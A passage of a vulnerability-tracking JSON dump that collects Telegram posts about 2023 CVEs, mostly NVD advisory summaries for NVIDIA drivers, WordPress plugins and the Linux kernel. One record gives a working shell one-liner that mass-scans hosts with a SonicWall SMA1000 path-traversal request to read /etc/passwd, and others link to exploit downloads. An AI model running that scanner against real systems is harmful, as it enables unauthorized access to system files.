\u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 - CVE-2023-0138, \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 libphonenumber.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 8000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0430\u043c\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0443 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 5000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 39 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u043c \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445, \u043d\u043e \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u0448\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0435\u0449\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\nChrome \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 109.0.5414.74 \u0434\u043b\u044f Linux, 109.0.5414.74/.75 \u0434\u043b\u044f Windows \u0438 109.0.5414.87 \u0434\u043b\u044f macOS.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2023-01-12T14:20:07.000000Z"}, {"uuid": "48b49eac-e8d0-4e00-bd2b-ab62b8dc152f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0126", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/4389", "content": "CVE-2023-0126\nSonicWall SMA1000\nFile Read Bug\nPOC:  \ncat file.txt| while read host do;do curl -sk \"http://$host:8443/images//////////////////../../../../../../../../etc/passwd\" | grep -i 'root:' &amp;&amp; echo $host \"is VULN\";done", "creation_timestamp": "2023-09-28T17:16:55.000000Z"}, {"uuid": "3bb874f2-7a98-4caf-8c1c-79de7dcb4b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/codebreaker01/5174", "content": "", "creation_timestamp": "2023-03-10T20:16:06.000000Z"}, {"uuid": "5b9e46f7-f614-488f-a97d-c55a30b03745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2505", "content": "Needle (CVE-2023-0179) exploit\n\nDownload:- https://system32.ink/news-feed/p/215/", "creation_timestamp": "2023-02-03T09:36:26.000000Z"}, {"uuid": "14110b2d-48ce-445e-a978-11e72d8a2c15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2317", "content": "#exploit\n1. CVE-2023-0179:\nLinux kernel stack buffer overflow in nftables\nhttps://seclists.org/oss-sec/2023/q1/20\n\n2. Security Audit of Git:\nCVE-2022-23521:\nTruncated Allocation Leading to Out of Bounds Write Via Large Number of Attributes\nCVE-2022-41903: \nOut of Bounds Memory Write in Log Formatting\nhttps://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif", "creation_timestamp": "2023-01-19T15:21:31.000000Z"}, {"uuid": "3407aba4-1b3e-4c49-a9ca-52f9da1e597c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0119", "type": "seen", "source": "https://t.me/cibsecurity/70313", "content": "\u203c CVE-2023-0119 \u203c\n\nA stored Cross-site scripting vulnerability was found in foreman. The Comment section in the Hosts tab has incorrect filtering of user input data. As a result of the attack, an attacker with an existing account on the system can steal another user's session, make requests on behalf of the user, and obtain user credentials.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-12T20:23:21.000000Z"}, {"uuid": "75680c8a-2d49-49fd-8f03-f32b4e99e525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0160", "type": "seen", "source": "https://t.me/cibsecurity/66928", "content": "\u203c CVE-2023-0160 \u203c\n\nA deadlock flaw was found in the Linux kernel\u00e2\u20ac\u2122s BPF subsystem. This flaw allows a local user to potentially crash the system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-18T20:31:05.000000Z"}, {"uuid": "192d999b-107e-4e52-b18f-243c02b715f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0155", "type": "seen", "source": "https://t.me/cibsecurity/63252", "content": "\u203c CVE-2023-0155 \u203c\n\nAn issue has been discovered in GitLab CE/EE affecting all versions before 15.8.5, 15.9.4, 15.10.1. Open redirects was possible due to framing arbitrary content on any page allowing user controlled markdown\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-04T00:32:14.000000Z"}, {"uuid": "bc8e52a4-8210-4a77-9f1a-fb507b31ab88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/sysadm_in_up/1590", "content": "Needle (CVE-2023-0179) exploit\n\nhttps://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-07-30T00:03:05.285266Z"}, {"uuid": "72900a75-66fd-45bf-9850-c6b1645918f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0199", "type": "seen", "source": "https://t.me/cibsecurity/62658", "content": "\u203c CVE-2023-0199 \u203c\n\nNVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer handler, where an out-of-bounds write can lead to denial of service and data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-22T07:37:41.000000Z"}, {"uuid": "10072433-c48b-4d41-95ac-cb3b37d0dbbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0190", "type": "seen", "source": "https://t.me/cibsecurity/62656", "content": "\u203c CVE-2023-0190 \u203c\n\nNVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel mode layer, where a NULL pointer dereference may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-22T07:37:39.000000Z"}, {"uuid": "1defe99e-4e23-4984-bb7e-1e1808c048d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0195", "type": "seen", "source": "https://t.me/cibsecurity/61292", "content": "\u203c CVE-2023-0195 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer driver nvlddmkm.sys, where an can cause CWE-1284, which may lead to hypothetical Information leak of unimportant data such as local variable data of the driver\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:51.000000Z"}, {"uuid": "7b157c9a-3c8a-4d91-8e6a-b1738c116b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0156", "type": "seen", "source": "https://t.me/cibsecurity/61763", "content": "\u203c CVE-2023-0156 \u203c\n\nThe All-In-One Security (AIOS) WordPress plugin before 5.1.5 does not limit what log files to display in it's settings pages, allowing an authorized user (admin+) to view the contents of arbitrary files and list directories anywhere on the server (to which the web server has access). The plugin only displays the last 50 lines of the file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-10T18:36:05.000000Z"}, {"uuid": "1270d1d4-45cc-4547-8f01-f77bd6d45299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0198", "type": "seen", "source": "https://t.me/cibsecurity/61300", "content": "\u203c CVE-2023-0198 \u203c\n\nNVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel mode layer, where improper restriction of operations within the bounds of a memory buffer can lead to denial of service, information disclosure, and data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:23:00.000000Z"}, {"uuid": "3b5a6c23-c109-4a59-b959-6d93cba8b5d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0157", "type": "seen", "source": "https://t.me/cibsecurity/61754", "content": "\u203c CVE-2023-0157 \u203c\n\nThe All-In-One Security (AIOS) WordPress plugin before 5.1.5 does not escape the content of log files before outputting it to the plugin admin page, allowing an authorized user (admin+) to plant bogus log files containing malicious JavaScript code that will be executed in the context of any administrator visiting this page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-10T18:32:56.000000Z"}, {"uuid": "bab41a83-a479-44ac-a18e-576b79755495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0189", "type": "seen", "source": "https://t.me/cibsecurity/61291", "content": "\u203c CVE-2023-0189 \u203c\n\nNVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel mode layer handler which may lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:50.000000Z"}, {"uuid": "aa64979e-bd31-4ec9-8792-f13d50af5234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0180", "type": "seen", "source": "https://t.me/cibsecurity/61306", "content": "\u203c CVE-2023-0180 \u203c\n\nNVIDIA GPU Display Driver for Linux contains a vulnerability in a kernel mode layer handler, which may lead to denial of service or information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:23:12.000000Z"}, {"uuid": "e1900e38-9c6a-474d-ada2-c93164fe603f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0188", "type": "seen", "source": "https://t.me/cibsecurity/61293", "content": "\u203c CVE-2023-0188 \u203c\n\nNVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer handler, where an unprivileged user can cause improper restriction of operations within the bounds of a memory buffer cause an out-of-bounds read, which may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:52.000000Z"}, {"uuid": "f5622e32-5fb5-4194-a8e7-21819a2b1ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0191", "type": "seen", "source": "https://t.me/cibsecurity/61304", "content": "\u203c CVE-2023-0191 \u203c\n\nNVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer handler, where an out-of-bounds access may lead to denial of service or data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:23:07.000000Z"}, {"uuid": "56d4ed63-9431-41a4-a097-bca3395427b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0181", "type": "seen", "source": "https://t.me/cibsecurity/61302", "content": "\u203c CVE-2023-0181 \u203c\n\nNVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in a kernel mode layer handler, where memory permissions are not correctly checked, which may lead to denial of service and data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:23:05.000000Z"}, {"uuid": "7e48a50d-470b-4a4f-989e-fb427d2de93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0183", "type": "seen", "source": "https://t.me/cibsecurity/61301", "content": "\u203c CVE-2023-0183 \u203c\n\nNVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel mode layer where an out-of-bounds write can lead to denial of service and data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:23:04.000000Z"}, {"uuid": "145e5b7c-15f8-4da5-ad2e-a612dd04016a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0194", "type": "seen", "source": "https://t.me/cibsecurity/61299", "content": "\u203c CVE-2023-0194 \u203c\n\nNVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer driver, where an invalid display configuration may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:59.000000Z"}, {"uuid": "c3d94a07-5244-4f89-80a8-38ca70fcb055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0185", "type": "seen", "source": "https://t.me/cibsecurity/61298", "content": "\u203c CVE-2023-0185 \u203c\n\nNVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel mode layer, where sign conversion issuescasting an unsigned primitive to signed may lead to denial of service or information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:59.000000Z"}, {"uuid": "39d34ddc-9843-4c23-a60e-0161521ba95e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0197", "type": "seen", "source": "https://t.me/cibsecurity/61297", "content": "\u203c CVE-2023-0197 \u203c\n\nNVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager, where a malicious user in a guest VM can cause a NULL-pointer dereference, which may lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:58.000000Z"}, {"uuid": "2033b0a8-e239-4f2e-8d70-9db0caf89da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0192", "type": "seen", "source": "https://t.me/cibsecurity/61296", "content": "\u203c CVE-2023-0192 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer handler, where improper privilege management can lead to escalation of privileges and information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:57.000000Z"}, {"uuid": "e0c8f819-a8cf-4cd1-893d-ede9b85fe88d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0182", "type": "seen", "source": "https://t.me/cibsecurity/61295", "content": "\u203c CVE-2023-0182 \u203c\n\nNVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer, where an out-of-bounds write can lead to denial of service, information disclosure, and data tampering.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:53.000000Z"}, {"uuid": "2f9888a4-e6ba-4ce3-afc1-6d3a000e82bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0187", "type": "seen", "source": "https://t.me/cibsecurity/61294", "content": "\u203c CVE-2023-0187 \u203c\n\nNVIDIA GPU Display Driver for Windows and Linux contains a vulnerability in the kernel mode layer handler, where an out-of-bounds read can lead to denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-01T12:22:52.000000Z"}, {"uuid": "226771a1-d482-4a66-9eaf-d1fca5ec6036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/cibsecurity/60850", "content": "\u203c CVE-2023-0179 \u203c\n\nA buffer overflow vulnerability was found in the Netfilter subsystem in the Linux Kernel. This issue could allow the leakage of both stack and heap addresses, and potentially allow Local Privilege Escalation to the root user via arbitrary code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-28T02:26:20.000000Z"}, {"uuid": "cd85f3e2-91f8-49e4-9e96-5b3689463fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0175", "type": "seen", "source": "https://t.me/cibsecurity/60340", "content": "\u203c CVE-2023-0175 \u203c\n\nThe Responsive Clients Logo Gallery Plugin for WordPress plugin through 1.1.9 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-20T21:04:27.000000Z"}, {"uuid": "60464f58-9934-4eac-9efe-a425f82207ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0145", "type": "seen", "source": "https://t.me/cibsecurity/60338", "content": "\u203c CVE-2023-0145 \u203c\n\nThe Saan World Clock WordPress plugin through 1.8 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-20T21:04:25.000000Z"}, {"uuid": "eea177cc-a7c2-44d5-8085-55a200a709d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0167", "type": "seen", "source": "https://t.me/cibsecurity/60329", "content": "\u203c CVE-2023-0167 \u203c\n\nThe GetResponse for WordPress plugin through 5.5.31 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-20T21:04:16.000000Z"}, {"uuid": "e3a844eb-0f9d-460e-9faa-646641ef7e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0100", "type": "seen", "source": "https://t.me/cibsecurity/60053", "content": "\u203c CVE-2023-0100 \u203c\n\nIn Eclipse BIRT, starting from version 2.6.2, the default configuration allowed to retrieve a report from the same host using an absolute HTTP path for the report parameter (e.g. __report=http://xyz.com/report.rptdesign). If the host indicated in the __report parameter matched the HTTP Host header value, the report would be retrieved. However, the Host header can be tampered with on some configurations where no virtual hosts are put in place (e.g. in the default configuration of Apache Tomcat) or when the default host points to the BIRT server. This vulnerability was patched on Eclipse BIRT 4.13.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-15T17:24:50.000000Z"}, {"uuid": "5b5c9127-cba2-4c90-a028-29e8f79b6d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0172", "type": "seen", "source": "https://t.me/cibsecurity/59917", "content": "\u203c CVE-2023-0172 \u203c\n\nThe Juicer WordPress plugin before 1.11 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-13T19:23:19.000000Z"}, {"uuid": "f03caaf8-3074-4119-91ae-56c947d0f1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0165", "type": "seen", "source": "https://t.me/cibsecurity/59473", "content": "\u203c CVE-2023-0165 \u203c\n\nThe Cost Calculator WordPress plugin through 1.8 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-06T16:12:47.000000Z"}, {"uuid": "3052e450-b889-403a-9378-d97c9f715331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0196", "type": "seen", "source": "https://t.me/cibsecurity/59314", "content": "\u203c CVE-2023-0196 \u203c\n\nNVIDIA CUDA Toolkit SDK contains a bug in cuobjdump, where a local user running the tool against an ill-formed binary may cause a null- pointer dereference, which may result in a limited denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-02T07:34:16.000000Z"}, {"uuid": "37c86e7a-1f3b-41bb-bf77-7f0dbe859ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0124", "type": "seen", "source": "https://t.me/cibsecurity/57436", "content": "\u203c CVE-2023-0124 \u203c\n\nDelta Electronics DOPSoft versions 4.00.16.22 and prior are vulnerable to an out-of-bounds write, which could allow an attacker to remotely execute arbitrary code when a malformed file is introduced to the software.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-03T07:25:26.000000Z"}, {"uuid": "0784bc74-b53f-4644-937b-a56cd0b7b89d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0123", "type": "seen", "source": "https://t.me/cibsecurity/57431", "content": "\u203c CVE-2023-0123 \u203c\n\nDelta Electronics DOPSoft versions 4.00.16.22 and prior are vulnerable to a stack-based buffer overflow, which could allow an attacker to remotely execute arbitrary code when a malformed file is introduced to the software.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-03T07:25:18.000000Z"}, {"uuid": "fcd0ec0c-2f51-45da-957c-e749368d44af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0122", "type": "seen", "source": "https://t.me/cibsecurity/56637", "content": "\u203c CVE-2023-0122 \u203c\n\nA NULL pointer dereference vulnerability in the Linux kernel NVMe functionality, in nvmet_setup_auth(), allows an attacker to perform a Pre-Auth Denial of Service (DoS) attack on a remote machine. Affected versions v6.0-rc1 to v6.0-rc3, fixed in v6.0-rc4.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-18T00:15:44.000000Z"}, {"uuid": "a5bae6a3-ca52-494f-b06a-036a033ed3fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0104", "type": "seen", "source": "https://t.me/cibsecurity/58721", "content": "\u203c CVE-2023-0104 \u203c\n\nThe listed versions for Weintek EasyBuilder Pro are vulnerable to a ZipSlip attack caused by decompiling a malicious project file. This may allow an attacker to gain control of the user\u00e2\u20ac\u2122s computer or gain access to sensitive data.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-23T00:52:21.000000Z"}, {"uuid": "a269f6cb-d90f-41d1-9036-6aea6b5b009e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0103", "type": "seen", "source": "https://t.me/cibsecurity/58255", "content": "\u203c CVE-2023-0103 \u203c\n\nIf an attacker were to access memory locations of LS ELECTRIC XBC-DN32U with operating system version 01.80 that are outside of the communication buffer, the device stops operating. This could allow an attacker to cause a denial-of-service condition.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T20:49:45.000000Z"}, {"uuid": "5067ebd1-3350-4f36-9431-a911b8163fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0162", "type": "seen", "source": "https://t.me/cibsecurity/56239", "content": "\u203c CVE-2023-0162 \u203c\n\nThe CPO Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several of its content type settings parameters in versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:32.000000Z"}, {"uuid": "715dfff1-372f-4991-8318-0e8d482c4966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 